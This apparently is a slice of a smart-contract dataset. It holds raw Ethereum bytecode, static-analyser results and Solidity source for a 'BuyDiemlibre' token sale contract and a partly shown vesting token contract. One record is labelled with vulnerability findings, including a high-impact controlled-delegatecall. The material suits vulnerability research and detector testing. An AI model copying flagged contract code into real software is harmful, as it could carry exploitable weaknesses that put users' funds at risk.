e1c1a5c995960ca1b604482015290519081900360640190fd5b60005b8c8110156107145760006106af8f8f848181106106a357fe5b905060200201356107f4565b905061070b818e8e858181106106c157fe5b905060200201358d8d8d8d888181106106d657fe5b9050602002013560ff168c8c898181106106ec57fe5b905060200201358b8b8a8181106106ff57fe5b90506020020135610b71565b5060010161068a565b5050505050505050505050505050565b6000546001600160a01b031681565b8642811015610773576040805162461bcd60e51b8152602060048201526007602482015266195e1c1a5c995960ca1b604482015290519081900360640190fd5b60005b8c81101561071457600061078f8f8f848181106106a357fe5b90506107eb818e8e858181106107a157fe5b905060200201358d8d8d8d888181106107b657fe5b9050602002013560ff168c8c898181106107cc57fe5b905060200201358b8b8a8181106107df57fe5b9050602002013561099c565b50600101610776565b600080546040805163289aa41960e11b815260048101859052905183926001600160a01b0316916351354832916024808301926020929190829003018186803b15801561084057600080fd5b505afa158015610854573d6000803e3d6000fd5b505050506040513d602081101561086a57600080fd5b505190506001600160a01b0381166108b7576040805162461bcd60e51b815260206004820152600b60248201526a1a5b9d985b1a590b5c1a5960aa1b604482015290519081900360640190fd5b92915050565b6108d26001600160a01b038416338585610b93565b826001600160a01b03166389afcb44826040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050602060405180830381600087803b15801561092157600080fd5b505af1158015610935573d6000803e3d6000fd5b505050506040513d602081101561094b57600080fd5b5050604080516001600160a01b0380861682526020820185905283168183015290517fcbcdbdf10631a43cc99c80acace8232649421c3f4f73919f16013d47c83a687a9181900360600190a1505050565b6000876001600160a01b0316635fcbd2856040518163ffffffff1660e01b815260040160206040518083038186803b1580156109d757600080fd5b505afa1580156109eb573d6000803e3d6000fd5b505050506040513d6020811015610a0157600080fd5b50519050610a13818887878787610cf0565b610a1e888888610a28565b5050505050505050565b6000836001600160a01b0316635fcbd2856040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6357600080fd5b505afa158015610a77573d6000803e3d6000fd5b505050506040513d6020811015610a8d57600080fd5b50519050610aa66001600160a01b038216338686610b93565b836001600160a01b0316636a627842836040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050602060405180830381600087803b158015610af557600080fd5b505af1158015610b09573d6000803e3d6000fd5b505050506040513d6020811015610b1f57600080fd5b5050604080516001600160a01b0380871682526020820186905284168183015290517fb4e1304f97b5093610f51b33ddab6622388422e2dac138b0d32f93dcfbd39edf9181900360600190a150505050565b610b7f878786868686610cf0565b610b8a8787876108bd565b50505050505050565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b17815292518251600094606094938a169392918291908083835b60208310610c185780518252601f199092019160209182019101610bf9565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610c7a576040519150601f19603f3d011682016040523d82523d6000602084013e610c7f565b606091505b5091509150818015610cad575080511580610cad5750808060200190516020811015610caa57600080fd5b50515b610ce85760405162461bcd60e51b8152600401808060200182810382526024815260200180610d836024913960400191505060405180910390fd5b505050505050565b6040805163d505accf60e01b8152336004820152306024820152604481018790526064810186905260ff8516608482015260a4810184905260c4810183905290516001600160a01b0388169163d505accf9160e480830192600092919082900301818387803b158015610d6257600080fd5b505af1158015610d76573d6000803e3d6000fd5b5050505050505050505056fe5472616e7366657248656c7065723a205452414e534645525f46524f4d5f4641494c4544a2646970667358221220565ef20e35b58eba25ecf477511601c26e299ac7538f51008f6abd94fe8ed99d64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,706 |
0x424c535433Fb9f1a7ac9FA9Bc944e4c1DAbDBAcC
|
/**
*Submitted for verification at Etherscan.io on 2021-07-04
*/
//SPDX-License-Identifier: SourceLibre
/**
* Elysium
* Powered by Diemlibre.
* A SourceLibre Product.
* DApp for buying Diemlibre $DLB.
*
* This file includes:
* 1) interface IERC20.
* 2) library SafeMath.
* 3) contract BuyDiemlibre.
*
* Note: Token is in its smallet unit with respect to its decimal value.
*/
pragma solidity 0.8.1;
/**
* ERC Interface for Diemlibre Token.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function decimals() external view returns (uint8);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* Safe Math Library.
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* BuyDiemlibre Contract.
*
* Default Attribues:
* - `owner` -> The owner of the contract.
* - `rate` -> The rate of the exchange in WEI, to be set by the `owner`.
* - `token` -> The ERC20 token handle.
* - `holder` -> The address of the holder of coins which this contract will be spending on its behave.
* - `self` -> The address of this contract. To be set by the owner after deployment.
* - `fees` -> The fees per transaction to be set by the owner.
*/
contract BuyDiemlibre {
using SafeMath for uint256;
address owner;
uint256 rate; // Rate is in WEI per Diemlibre
IERC20 token;
uint256 tokenDecimalsValue;
address holder;
address self;
uint256 fees;
/**
*
* Method Name: constructor
* Initialises the contract.
* Set most of the default attribues.
*
* Parameters:
* - `address _tokenAddress` -> non zero address of the token contract.
* - `address _holderAddress` -> non zero address of the holder of the tokens which has tokens.
* - the caller is recommeded to be the owner or has some admin control of the token contract.
*
*/
constructor(address _tokenAddress, address _holderAddress) {
require(_tokenAddress != address(0), "Error! Invalid Token Address.");
require(_holderAddress != address(0), "Error! Invalid Holder Address.");
require(_tokenAddress != _holderAddress, "Token Address and Spender Address cann't be the same.");
token = IERC20(_tokenAddress);
holder = _holderAddress;
owner = msg.sender;
rate = 1000000000000000000; // in WEI
fees = 0;
tokenDecimalsValue = 10**token.decimals();
}
/**
*
* Method Name: withdrawETHToOwner, private
* Withdraw ETH to the owner.
*
* Parameters:
* - `uint256 _amount` -> non zero amount of ETH to be sent to the owner.
*
* Returns:
* Boolean if the transaction was successfull or not.
*
*/
function withdrawETHToOwner(uint256 _amount) private returns(bool) {
payable(owner).transfer(_amount);
return true;
}
function getRate() external view returns(uint256) {
return rate;
}
function getSelf() external view returns(address) {
return self;
}
function getFees() external view returns(uint256) {
return fees;
}
/**
*
* Method Name: currentETHValue, external view
* Gets the current ETH value of 1 Token.
*
* Parameters:
* - `uint256 _tokenAmount` -> non zero amount of tokens to get its equivilence in ETH.
*
* Returns:
* The amount in ETH.
*
*/
function currentETHValue(uint256 _tokenAmount) external view returns(uint256) {
return _tokenAmount.mul(rate).div(tokenDecimalsValue);
}
/**
*
* Method Name: currentTokenValue, external view
* Gets the current token value of 1 ETH.
*
* Parameters:
* - `uint256 _WEIETHAmount` -> non zero amount of ETH in WEI to get its equivilence in token.
*
* Returns:
* The amount in token.
*
*/
function currentTokenValue(uint256 _WEIETHAmount) external view returns(uint256) {
return _WEIETHAmount.mul(tokenDecimalsValue).div(rate);
}
/**
*
* Method Name: _buy, private
* Payable the sends equivilent tokens calculated based on the rate to the msg.sender.
*
* Parameters:
* - `address _msgSender` -> non zero address of the Message sender.
* - `uint256 _msgValue` -> non zero amount of ETH in WEI the sender sent.
*
* Returns:
* The total amount of tokens the sender has.
*
*/
function _buy(address _msgSender, uint256 _msgValue) private returns(uint256) {
require(_msgValue > 0, "Error! Invalid or Insufficient Amount.");
require(self != address(0), "Error! Uninitialized self.");
uint256 tokenAmount = _msgValue.mul(tokenDecimalsValue).div(rate);
uint256 tokenAllowance = token.allowance(holder, self);
require(tokenAmount > 0 && tokenAmount <= tokenAllowance, "Insufficient Liquidity");
withdrawETHToOwner(_msgValue);
require(token.transferFrom(holder, _msgSender, tokenAmount), "Oops... Could not complete Transaction. Please try again later.");
return token.balanceOf(_msgSender);
}
/**
*
* Method: _buyFor, private
* Payable the sends equivilent tokens calculated based on the rate to the _receiver set by msg.sender.
*
* Parameters:
* - `address _receiver` -> non zero address of the receiver of the tokens.
* - `uint256 _msgValue` -> non zero amount of ETH in WEI the sender sent.
*
* Returns:
* The total amount of tokens the _receiver has.
*
*/
function _buyFor(address _receiver, uint256 _msgValue) private returns(uint256) {
require(_msgValue > 0, "Error! Invalid or Insufficient Amount.");
require(self != address(0), "Error! Uninitialized self.");
uint256 tokenAmount = _msgValue.mul(tokenDecimalsValue).div(rate);
uint256 tokenAllowance = token.allowance(holder, self);
require(tokenAmount > 0 && tokenAmount <= tokenAllowance, "Insufficient Liquidity");
withdrawETHToOwner(_msgValue);
require(token.transferFrom(holder, _receiver, tokenAmount), "Oops... Could not complete Transaction. Please try again later.");
return token.balanceOf(_receiver);
}
/**
*
* Method: buy, external payable
* External implementation of _buy()
*
*/
function buy() external payable returns(uint256) {
return _buy(msg.sender, msg.value);
}
/**
*
* Method: buyFor, external payable
* External implementation of _buyFor()
*
*/
function buyFor(address _receiver) external payable returns(uint256) {
return _buyFor(_receiver, msg.value);
}
/**
*
* Fancy names for Web3.js Providers to read method names.
*
*/
// Buy
function buyDLB() external payable returns(uint256) {
return _buy(msg.sender, msg.value);
}
function buyDlb() external payable returns(uint256) {
return _buy(msg.sender, msg.value);
}
function buyDiemlibre() external payable returns(uint256) {
return _buy(msg.sender, msg.value);
}
// BuyFor
function buyDLBFor(address _receiver) external payable returns(uint256) {
return _buyFor(_receiver, msg.value);
}
function buyDlbFor(address _receiver) external payable returns(uint256) {
return _buyFor(_receiver, msg.value);
}
function buyDiemlibreFor(address _receiver) external payable returns(uint256) {
return _buyFor(_receiver, msg.value);
}
/**
*
* Methods to be ran only by the owner
*
*/
function getHolder() external view returns(address) {
require(msg.sender == owner, "Error! Unauthorized access.");
return holder;
}
function setHolder(address _newHolder) external returns(address) {
require(msg.sender == owner, "Error! Unauthorized access.");
require(_newHolder != address(0), "Error! Invalid New Holder Address.");
holder = _newHolder;
return holder;
}
function withdrawETH(address _receiver, uint256 _amount) external returns(bool) {
require(msg.sender == owner, "Error! Unauthorized access.");
require(_receiver != address(0), "Error! Invalid Receiver Address.");
payable(_receiver).transfer(_amount);
return true;
}
function setRate(uint256 _newRate) external returns(uint256) {
require(msg.sender == owner, "Error! Unauthorized access.");
rate = _newRate;
return rate;
}
function setFees(uint256 _newFees) external returns(uint256) {
require(msg.sender == owner, "Error! Unauthorized access.");
fees = _newFees;
return fees;
}
function setSelf(address _selfAddress) external returns(address) {
require(msg.sender == owner, "Error! Unauthorized access.");
require(_selfAddress != address(0), "Error! Invalid Self Address.");
self = _selfAddress;
return self;
}
}
|
0x6080604052600436106101145760003560e01c80636f0b5180116100a0578063acb1db9211610064578063acb1db92146103ba578063c215cc3b146103d8578063d979f5aa14610415578063db8d55f114610452578063e237f75b1461047d57610114565b80636f0b5180146102cf57806377e0d93b146102ff5780638691f6641461032f57806390db72d91461035f578063a6f2ae3a1461039c57610114565b80634782f779116100e75780634782f779146101dc5780634f3b0dd9146102195780635188b11114610256578063679aefce146102745780636e3155b31461029f57610114565b80630c05b3c5146101195780631f4b6c5a1461014457806334fcf437146101625780633d18678e1461019f575b600080fd5b34801561012557600080fd5b5061012e6104a8565b60405161013b919061183c565b60405180910390f35b61014c610561565b6040516101599190611a12565b60405180910390f35b34801561016e57600080fd5b506101896004803603810190610184919061165f565b610572565b6040516101969190611a12565b60405180910390f35b3480156101ab57600080fd5b506101c660048036038101906101c1919061165f565b610614565b6040516101d39190611a12565b60405180910390f35b3480156101e857600080fd5b5061020360048036038101906101fe91906115fa565b6106b6565b60405161021091906118b7565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b919061165f565b610808565b60405161024d9190611a12565b60405180910390f35b61025e61083a565b60405161026b9190611a12565b60405180910390f35b34801561028057600080fd5b5061028961084b565b6040516102969190611a12565b60405180910390f35b6102b960048036038101906102b491906115d1565b610855565b6040516102c69190611a12565b60405180910390f35b6102e960048036038101906102e491906115d1565b610868565b6040516102f69190611a12565b60405180910390f35b610319600480360381019061031491906115d1565b61087b565b6040516103269190611a12565b60405180910390f35b610349600480360381019061034491906115d1565b61088e565b6040516103569190611a12565b60405180910390f35b34801561036b57600080fd5b50610386600480360381019061038191906115d1565b6108a1565b604051610393919061183c565b60405180910390f35b6103a4610a0d565b6040516103b19190611a12565b60405180910390f35b6103c2610a1e565b6040516103cf9190611a12565b60405180910390f35b3480156103e457600080fd5b506103ff60048036038101906103fa919061165f565b610a2f565b60405161040c9190611a12565b60405180910390f35b34801561042157600080fd5b5061043c600480360381019061043791906115d1565b610a61565b604051610449919061183c565b60405180910390f35b34801561045e57600080fd5b50610467610bcd565b6040516104749190611a12565b60405180910390f35b34801561048957600080fd5b50610492610bd7565b60405161049f919061183c565b60405180910390f35b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610539576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610530906119b2565b60405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600061056d3334610c01565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610603576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fa906119b2565b60405180910390fd5b816001819055506001549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069c906119b2565b60405180910390fd5b816006819055506006549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610747576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073e906119b2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ae906119d2565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156107fd573d6000803e3d6000fd5b506001905092915050565b60006108336001546108256003548561101990919063ffffffff16565b61109490919063ffffffff16565b9050919050565b60006108463334610c01565b905090565b6000600154905090565b600061086182346110f2565b9050919050565b600061087482346110f2565b9050919050565b600061088782346110f2565b9050919050565b600061089a82346110f2565b9050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610932576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610929906119b2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610999906118f2565b60405180910390fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610a193334610c01565b905090565b6000610a2a3334610c01565b905090565b6000610a5a600354610a4c6001548561101990919063ffffffff16565b61109490919063ffffffff16565b9050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610af2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae9906119b2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906118d2565b60405180910390fd5b81600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000600654905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000808211610c45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3c90611952565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cce906119f2565b60405180910390fd5b6000610d02600154610cf46003548661101990919063ffffffff16565b61109490919063ffffffff16565b90506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401610da7929190611857565b60206040518083038186803b158015610dbf57600080fd5b505afa158015610dd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df79190611688565b9050600082118015610e095750808211155b610e48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3f90611932565b60405180910390fd5b610e518461150a565b50600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1687856040518463ffffffff1660e01b8152600401610ed393929190611880565b602060405180830381600087803b158015610eed57600080fd5b505af1158015610f01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f259190611636565b610f64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5b90611992565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b8152600401610fbf919061183c565b60206040518083038186803b158015610fd757600080fd5b505afa158015610feb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100f9190611688565b9250505092915050565b60008083141561102c576000905061108e565b6000828461103a9190611a6f565b90508284826110499190611a3e565b14611089576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108090611972565b60405180910390fd5b809150505b92915050565b60008082116110d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cf90611912565b60405180910390fd5b600082846110e69190611a3e565b90508091505092915050565b6000808211611136576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112d90611952565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156111c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bf906119f2565b60405180910390fd5b60006111f36001546111e56003548661101990919063ffffffff16565b61109490919063ffffffff16565b90506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401611298929190611857565b60206040518083038186803b1580156112b057600080fd5b505afa1580156112c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112e89190611688565b90506000821180156112fa5750808211155b611339576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133090611932565b60405180910390fd5b6113428461150a565b50600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1687856040518463ffffffff1660e01b81526004016113c493929190611880565b602060405180830381600087803b1580156113de57600080fd5b505af11580156113f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114169190611636565b611455576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144c90611992565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b81526004016114b0919061183c565b60206040518083038186803b1580156114c857600080fd5b505afa1580156114dc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115009190611688565b9250505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611573573d6000803e3d6000fd5b5060019050919050565b60008135905061158c81611da1565b92915050565b6000815190506115a181611db8565b92915050565b6000813590506115b681611dcf565b92915050565b6000815190506115cb81611dcf565b92915050565b6000602082840312156115e357600080fd5b60006115f18482850161157d565b91505092915050565b6000806040838503121561160d57600080fd5b600061161b8582860161157d565b925050602061162c858286016115a7565b9150509250929050565b60006020828403121561164857600080fd5b600061165684828501611592565b91505092915050565b60006020828403121561167157600080fd5b600061167f848285016115a7565b91505092915050565b60006020828403121561169a57600080fd5b60006116a8848285016115bc565b91505092915050565b6116ba81611ac9565b82525050565b6116c981611adb565b82525050565b60006116dc602283611a2d565b91506116e782611b6f565b604082019050919050565b60006116ff601c83611a2d565b915061170a82611bbe565b602082019050919050565b6000611722601a83611a2d565b915061172d82611be7565b602082019050919050565b6000611745601683611a2d565b915061175082611c10565b602082019050919050565b6000611768602683611a2d565b915061177382611c39565b604082019050919050565b600061178b602183611a2d565b915061179682611c88565b604082019050919050565b60006117ae603f83611a2d565b91506117b982611cd7565b604082019050919050565b60006117d1601b83611a2d565b91506117dc82611d26565b602082019050919050565b60006117f4602083611a2d565b91506117ff82611d4f565b602082019050919050565b6000611817601a83611a2d565b915061182282611d78565b602082019050919050565b61183681611b07565b82525050565b600060208201905061185160008301846116b1565b92915050565b600060408201905061186c60008301856116b1565b61187960208301846116b1565b9392505050565b600060608201905061189560008301866116b1565b6118a260208301856116b1565b6118af604083018461182d565b949350505050565b60006020820190506118cc60008301846116c0565b92915050565b600060208201905081810360008301526118eb816116cf565b9050919050565b6000602082019050818103600083015261190b816116f2565b9050919050565b6000602082019050818103600083015261192b81611715565b9050919050565b6000602082019050818103600083015261194b81611738565b9050919050565b6000602082019050818103600083015261196b8161175b565b9050919050565b6000602082019050818103600083015261198b8161177e565b9050919050565b600060208201905081810360008301526119ab816117a1565b9050919050565b600060208201905081810360008301526119cb816117c4565b9050919050565b600060208201905081810360008301526119eb816117e7565b9050919050565b60006020820190508181036000830152611a0b8161180a565b9050919050565b6000602082019050611a27600083018461182d565b92915050565b600082825260208201905092915050565b6000611a4982611b07565b9150611a5483611b07565b925082611a6457611a63611b40565b5b828204905092915050565b6000611a7a82611b07565b9150611a8583611b07565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611abe57611abd611b11565b5b828202905092915050565b6000611ad482611ae7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4572726f722120496e76616c6964204e657720486f6c6465722041646472657360008201527f732e000000000000000000000000000000000000000000000000000000000000602082015250565b7f4572726f722120496e76616c69642053656c6620416464726573732e00000000600082015250565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b7f496e73756666696369656e74204c697175696469747900000000000000000000600082015250565b7f4572726f722120496e76616c6964206f7220496e73756666696369656e74204160008201527f6d6f756e742e0000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f6f70732e2e2e20436f756c64206e6f7420636f6d706c657465205472616e7360008201527f616374696f6e2e20506c656173652074727920616761696e206c617465722e00602082015250565b7f4572726f722120556e617574686f72697a6564206163636573732e0000000000600082015250565b7f4572726f722120496e76616c696420526563656976657220416464726573732e600082015250565b7f4572726f722120556e696e697469616c697a65642073656c662e000000000000600082015250565b611daa81611ac9565b8114611db557600080fd5b50565b611dc181611adb565b8114611dcc57600080fd5b50565b611dd881611b07565b8114611de357600080fd5b5056fea2646970667358221220a896b0c98ea0de5b9bdd1400dc73e30d7f6f22bfbfc42692815dfdea46dfbc5a64736f6c63430008010033
|
{"success": true, "error": null, "results": {}}
| 3,707 |
0xf3e70642c28f3f707408c56624c2f30ea9f9fce3
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping (address => bool) public staff;
mapping (address => uint256) balances;
uint256 totalSupply_;
mapping (address => uint256) public uniqueTokens;
mapping (address => uint256) public preSaleTokens;
mapping (address => uint256) public crowdSaleTokens;
mapping (address => uint256) public freezeTokens;
mapping (address => uint256) public freezeTimeBlock;
uint256 public launchTime = 999999999999999999999999999999;
uint256 public totalFreezeTokens = 0;
bool public listing = false;
bool public freezing = true;
address public agentAddress;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
modifier afterListing() {
require(listing == true || owner == msg.sender || agentAddress == msg.sender);
_;
}
function checkVesting(address sender) public view returns (uint256) {
if (now >= launchTime.add(270 days)) {
return balances[sender];
} else if (now >= launchTime.add(180 days)) {
return balances[sender].sub(uniqueTokens[sender].mul(35).div(100));
} else if (now >= launchTime.add(120 days)) {
return balances[sender].sub(uniqueTokens[sender].mul(7).div(10));
} else if (now >= launchTime.add(90 days)) {
return balances[sender].sub((uniqueTokens[sender].mul(7).div(10)).add(crowdSaleTokens[sender].mul(2).div(10)));
} else if (now >= launchTime.add(60 days)) {
return balances[sender].sub(uniqueTokens[sender].add(preSaleTokens[sender].mul(3).div(10)).add(crowdSaleTokens[sender].mul(4).div(10)));
} else if (now >= launchTime.add(30 days)) {
return balances[sender].sub(uniqueTokens[sender].add(preSaleTokens[sender].mul(6).div(10)).add(crowdSaleTokens[sender].mul(6).div(10)));
} else {
return balances[sender].sub(uniqueTokens[sender].add(preSaleTokens[sender].mul(9).div(10)).add(crowdSaleTokens[sender].mul(8).div(10)));
}
}
function checkVestingWithFrozen(address sender) public view returns (uint256) {
if (freezing) {
if (freezeTimeBlock[sender] <= now) {
return checkVesting(sender);
} else {
return checkVesting(sender).sub(freezeTokens[sender]);
}
} else {
return checkVesting(sender);
}
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) afterListing public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
if (!staff[msg.sender]) {
require(_value <= checkVestingWithFrozen(msg.sender));
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
if (!staff[_owner]) {
return checkVestingWithFrozen(_owner);
}
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
